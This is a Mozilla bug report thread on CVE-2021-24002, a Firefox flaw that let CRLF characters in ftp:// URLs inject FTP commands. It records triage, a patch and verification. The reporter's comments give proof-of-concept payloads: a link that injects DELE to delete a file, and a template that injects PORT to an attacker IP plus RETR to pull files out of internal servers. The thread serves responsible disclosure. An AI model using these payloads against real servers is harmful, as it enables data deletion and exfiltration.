1702374 - (CVE-2021-24002) Arbitrary ftp command execution using ftp URLs

Status: VERIFIED FIXED

(Core Graveyard :: Networking: FTP, defect, P1)

Description

[Daniel Santos]

Attachment: ftps.py

On Firefox 87.0 (64-bit) FTP URLs (e.g. ftp://xxxx/yyy) allow the control characters %0A and %0D as part of the filename. This allows an attacker to craft a link that when accessed by a victim with the proper permissions will execute arbitrary commands on the FTP server.

The following steps can be used to reproduce the issue:

• To emulate an FTP server, run the attached ftps.py FTP server (you need to install pyftpdlib first)
• On the same directory create a file named test
• Create an HTML page containing link like: <a href="ftp://[YOUR_FTP_SERVER_ADDRESS]/A%0D%0ADELE%20test">Download</a>
• From a machine running Firefox 87.0 with network access to the FTP server access the malicious page and click on the link
• Check the test file is deleted

IMPACT
An attacker may force a victim to execute FTP commands on a server on which the attacker has no previous access. Moreover, allowing control characters in FTP URLs may permit NAT slipstreaming attacks depending on the victim's router's configuration and FTP ALG implementation.

Comment 1

[Daniel Santos]

Another possibility is issuing a PORT command to a host under the attacker's control followed by a GET command. This would allow an attacker to download files to its server impersonating the victim who clicked the malicious link.

Comment 2

[Daniel Santos]

Attachment: PoC video

This is a PoC video demonstrating the attacker can make the user delete files on the FTP server by clicking the malicious link.

Comment 3

[Daniel Santos]

Attachment: PoC malicious page

This is the PoC HTML page used in the previously attached PoC video. In order to use this, you need to replace the [YOUR_FTP_SERVER_ADDRESS] string in the page's link href attribute with an address of an FTP server you have running.

Comment 4

[Daniel Santos]

Attachment: PoC video - Remote download

PoC video showing the remote download attack variant. In this case, the attacker issues a PORT command followed by a RETR command to download a file from the FTP server to a server they control.

The following payload template can be used to replicate the attack:
ftp://[FTP_SERVER]/file.txt%0D%0APORT%20[ATTACKER_SERVER_IP (e.g. 198,51,100,102)],31,64%0D%0ARETR%20[FILENAME_TO_DOWNLOAD]

Comment 5

[Daniel Veditz [:dveditz]]

Annoying.... if COVID hadn't put a pause on disabling things (bug 1625822) we would have gotten rid of FTP support last year (bug 1574475).

Not sure how bad this is in practice. An ftp server that allows deletions over anonymous FTP is in trouble with or without this bug. I imagine an attack scenario involves targeting a user who has recently logged in to an FTP server with the appropriate privileges to do destructive actions.

Valentin: how long do we remember FTP login credentials? Or is each connection a completely new session and the user:pass has to be present in each ftp:// URL ? If the attacker has to supply the credentials this isn't a very useful attack (though clearly a bug and unwanted behavior). If we remember auth for a server then this is kind of like a CSRF attack and much more severe

If it's the former we can probably just wait for FTP to die. If it's the latter we should fix it as a security bug without waiting.

Comment 6

[Daniel Santos]

Just to clarify something, the attacker is not entering the credentials. The victim navigates to the malicious page and clicks on the "Download" link and firefox asks the victim for credentials if required.
The deletion PoC is just an example, but IMO the remote download is way more interesting. If an attacker makes a victim clicks on a malicious link inside a corporate network they could download files from an FTP server that is not even accessible from the Internet. In this case, the impact exists despite the FTP server requiring authentication or not.

Comment 7

[Frederik Braun [:freddy]]

The injection of an FTP PORT command is indeed noteworthy. To clarify on behalf of the reporter:
The way FTP works is that the client usually supplies an IP and port combination that the server is supposed to send its data to.
Given a known file path, the attacker can use the browser reach through a corporate firewall and tell the FTP server to send it to an IP address and port of the attackers choosing.

So this is a neat trick but as an info leak probably something like sec-low or sec-moderate...

Comment 8

[Daniel Santos]

If it makes any difference, this is how I would score this vulnerability according to CVSS 3.1: AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:L. This vector results in a 5.5 score, so I would call it a medium severity vulnerability.

Comment 9

[Frederik Braun [:freddy]]

@Daniel Santos, we use https://wiki.mozilla.org/Security_Severity_Ratings/Client to rate a bug's severity.

Comment 10

[Valentin Gosu [:valentin] (he/him)]

(In reply to Daniel Veditz [:dveditz] from comment #5)

Annoying.... if COVID hadn't put a pause on disabling things (bug 1625822) we would have gotten rid of FTP support last year (bug 1574475).

Not sure how bad this is in practice. An ftp server that allows deletions over anonymous FTP is in trouble with or without this bug. I imagine an attack scenario involves targeting a user who has recently logged in to an FTP server with the appropriate privileges to do destructive actions.

Valentin: how long do we remember FTP login credentials? Or is each connection a completely new session and the user:pass has to be present in each ftp:// URL ? If the attacker has to supply the credentials this isn't a very useful attack (though clearly a bug and unwanted behavior). If we remember auth for a server then this is kind of like a CSRF attack and much more severe

From a quick test with ftp://test.rebex.net/ user:demo password:password it seems we only request the password the first time.
A second navigation to that origin will not require a password, but even the first navigation would be problematic if the user doesn't inspect the URL bar.

Given that this also affects ESR, I think it needs fixing ASAP, even if I'm ripping out the FTP code in Firefox 90.

Comment 11

[Valentin Gosu [:valentin] (he/him)]

It turns out we previously had a check for these special characters (added in bug 250906) but I removed it when I removed nsIProtocolHandler.newURI in bug 1536744 </facepalm>

Comment 12

[Valentin Gosu [:valentin] (he/him)]

Attachment: Bug 1702374 - Make sure FTP URL does not contain special characters r=#necko

Comment 13

[Valentin Gosu [:valentin] (he/him)]

[Tracking Requested - why for this release]:
FTP is disabled in 88 but can still be enabled via pref or by a webextension.
FTP is still enabled in esr78

Comment 14

[Valentin Gosu [:valentin] (he/him)]

Comment on attachment 9214077 [details]
Bug 1702374 - Make sure FTP URL does not contain special characters r=#necko

Beta/Release Uplift Approval Request

• User impact if declined: This bug makes it possible for the attacker to execute arbitrary commands on the FTP server that the user has access to.
  FTP is disabled in 88 by default, but the user can still flip the pref. The pref can also be flipped by an extension via the webextension API, so it would be good to uplift this.
• Is this code covered by automated tests?: No
• Has the fix been verified in Nightly?: No
• Needs manual test from QE?: Yes
• If yes, steps to reproduce: See comment 0
• List of other uplifts needed: None
• Risk to taking this patch: Low
• Why is the change risky/not risky? (and alternatives if risky): Low risk because FTP is disabled by default on 88.
• String changes made/needed:

ESR Uplift Approval Request

• If this is not a sec:{high,crit} bug, please state case for ESR consideration:
• User impact if declined: This bug makes it possible for the attacker to execute arbitrary commands on the FTP server that the user has access to.
• Fix Landed on Version:
• Risk to taking this patch: Low
• Why is the change risky/not risky? (and alternatives if risky): The patch fixes a regression by rejecting URLs that contain embedded \r\n\0.
  We previously rejected such URLs, but the restriction was accidentally removed in bug 1536744.
• String or UUID changes made by this patch:

Comment 15

[Valentin Gosu [:valentin] (he/him)]

https://hg.mozilla.org/integration/autoland/rev/3337b723d61b8427bdff495a36f4a7f05ce0fe81

Comment 16

[Ryan VanderMeulen [:RyanVM]]

I'm setting the 88/89 status to affected mainly for tracking reasons - as noted elsewhere in the bug, only ESR78 still has FTP support enabled by default.

Comment 17

[Ryan VanderMeulen [:RyanVM]]

Comment on attachment 9214077 [details]
Bug 1702374 - Make sure FTP URL does not contain special characters r=#necko

Approved for 88.0b9 and 78.10esr.

Comment 18

[Ryan VanderMeulen [:RyanVM]]

https://hg.mozilla.org/releases/mozilla-beta/rev/1ec78ed0fe84

Comment 19

[Ryan VanderMeulen [:RyanVM]]

https://hg.mozilla.org/releases/mozilla-esr78/rev/4c647212b510

Comment 20

[Sebastian Hengst [:aryx] (needinfo me if it's about an intermittent or backout)]

https://hg.mozilla.org/mozilla-central/rev/3337b723d61b

Comment 21

[Bogdan Maris, Desktop QA]

Reproduced the initial issue described in comment 0, verified that using latest Nightly 89.0a1, Firefox 88.0b9 and latest ESR build from treeherder this is not reproducible anymore.

Comment 22

[Tom Ritter [:tjr] (OOTO until 4/30 at least)]

Attachment: advisory.txt

Comment 23

[Daniel Santos]

Hi, how long should I wait before writing an article about how I found this bug?

Thanks,